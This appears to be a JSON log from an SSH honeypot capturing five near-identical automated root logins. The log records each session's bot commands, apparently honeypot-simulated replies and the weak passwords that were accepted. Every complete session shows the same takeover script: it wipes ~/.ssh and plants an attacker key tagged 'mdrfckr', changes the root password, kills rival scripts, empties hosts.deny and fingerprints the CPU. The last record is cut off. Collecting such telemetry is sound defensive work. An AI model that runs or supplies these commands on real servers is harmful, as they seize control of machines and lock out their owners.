{"id":"ef05cdd0-65b4-41d6-8783-5d75ac4d7dbb","name":"genial-nautical-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59602,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":443,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:23:54.173175+00:00","ended_at":"2026-08-27T12:23:55.165052+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:23:31.991116+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:23:32.441154+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:23:37.145521+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:23:37.777204+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:23:38.218838+00:00","kind":"input","latency_ms":null,"data":"echo \"root:71hUKMSMKOU6\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:23:38.661314+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:23:39.102829+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:23:39.695686+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:23:40.141126+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:23:41.530311+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:23:41.976698+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:23:43.244478+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:23:43.686935+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:23:44.569324+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:23:45.011802+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:23:45.376009+00:00","kind":"output","latency_ms":null,"data":" 12:23:45 up 7 days, 9:13, 0 user, load average: 0.17, 0.13, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:23:45.817550+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:23:46.433623+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:23:46.875815+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:23:47.690446+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:23:48.133439+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:23:48.597769+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:48 up 7 days, 9:13, 0 user, load average: 0.17, 0.13, 0.1\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:23:49.039949+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:23:49.671455+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:23:50.128741+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:23:51.029838+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:23:51.478498+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:23:51.861440+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:23:52.299224+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:23:53.728947+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:23:54.174235+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:23:55.027791+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456789m","method":"password","accepted":true,"tier":"other"}]} {"id":"08df2f51-54d1-4c35-ae9f-f6a520b52ca0","name":"valiant-glacial-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":44666,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:23:42.940114+00:00","ended_at":"2026-08-27T12:23:44.192085+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:23:24.662910+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:23:24.988906+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:23:29.205745+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:23:29.739228+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:23:30.069926+00:00","kind":"input","latency_ms":null,"data":"echo \"root:4DzwbH3etOed\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:23:30.392394+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:23:30.720223+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:23:31.182909+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:23:31.514196+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:23:32.465018+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:23:32.799184+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:23:34.314992+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:23:34.645812+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:23:35.391072+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:23:35.716285+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:23:36.069358+00:00","kind":"output","latency_ms":null,"data":" 12:23:36 up 7 days, 9:13, 0 user, load average: 0.28, 0.31, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:23:36.397760+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:23:36.773074+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:23:37.101165+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:23:37.443664+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:23:37.771330+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:23:38.347070+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:38 up 7 days, 9:13, 0 user, load average: 0.28, 0.31, 0.22\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:23:38.678966+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:23:39.170163+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:23:39.497968+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:23:39.847774+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:23:40.174101+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:23:40.965855+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:23:41.295445+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:23:42.612219+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:23:42.941043+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:23:44.095001+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe123asd","method":"password","accepted":true,"tier":"other"}]} {"id":"8fcd060c-c8c5-4546-8ad4-bc9b9ab897a3","name":"fierce-sterling-cuckoo","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":52536,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:23:13.209762+00:00","ended_at":"2026-08-27T12:23:14.733002+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:22:54.412171+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:22:54.705468+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:22:59.069538+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:22:59.540660+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:22:59.837121+00:00","kind":"input","latency_ms":null,"data":"echo \"root:6wRCZCn8GUjm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:23:00.133526+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:23:00.433679+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:23:01.175252+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:23:01.470738+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:23:02.496760+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:23:02.795344+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:23:04.192492+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:23:04.491035+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:23:05.166215+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:23:05.462753+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:23:05.916833+00:00","kind":"output","latency_ms":null,"data":" 12:23:05 up 7 days, 9:13, 0 user, load average: 0.25, 0.28, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:23:06.214362+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:23:06.998605+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:23:07.293823+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:23:08.142228+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:23:08.439212+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:23:08.874501+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:08 up 7 days, 9:13, 0 user, load average: 0.25, 0.28, 0.19\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:23:09.173396+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:23:09.488908+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:23:09.785079+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:23:10.421691+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:23:10.722176+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:23:11.522794+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:23:11.813528+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:23:12.913985+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:23:13.210817+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:23:14.646164+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"centreon","method":"password","accepted":true,"tier":"other"}]} {"id":"84d2a4e8-6fcc-4968-a1e4-a049d8e02664","name":"russet-rugged-lorikeet","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":53984,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:21:47.348913+00:00","ended_at":"2026-08-27T12:21:48.544087+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:21:29.315794+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:21:29.647281+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:21:34.210089+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:21:34.462569+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:21:34.792850+00:00","kind":"input","latency_ms":null,"data":"echo \"root:tdJWhKLCPn8c\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:21:35.120022+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:21:35.449600+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:21:36.087103+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:21:36.417348+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:21:37.328323+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:21:37.658024+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:21:38.817613+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:21:39.150585+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:21:39.558950+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:21:39.890241+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:21:40.468051+00:00","kind":"output","latency_ms":null,"data":" 12:21:40 up 7 days, 9:11, 0 user, load average: 0.18, 0.19, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:21:40.798115+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:21:41.142180+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:21:41.474683+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:21:42.313457+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:21:42.648966+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:21:42.904781+00:00","kind":"output","latency_ms":null,"data":"top - 12:21:42 up 7 days, 9:11, 0 user, load average: 0.18, 0.19, 0.12\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:21:43.232793+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:21:43.897675+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:21:44.225096+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:21:44.664283+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:21:44.993621+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:21:45.667378+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:21:45.999554+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:21:47.021343+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:21:47.349415+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:21:48.448208+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abc#2025","method":"password","accepted":true,"tier":"other"}]} {"id":"5a07ff39-e5fb-4ef1-8ae6-f25237994c11","name":"arctic-airy-vulture","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59582,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":456,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:21:15.821042+00:00","ended_at":"2026-08-27T12:21:17.129068+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:20:54.203345+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:20:54.657724+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:20:59.667962+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:21:00.329867+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:21:00.790240+00:00","kind":"input","latency_ms":null,"data":"echo \"root:tUakiAEKS0TS\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:21:01.244162+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 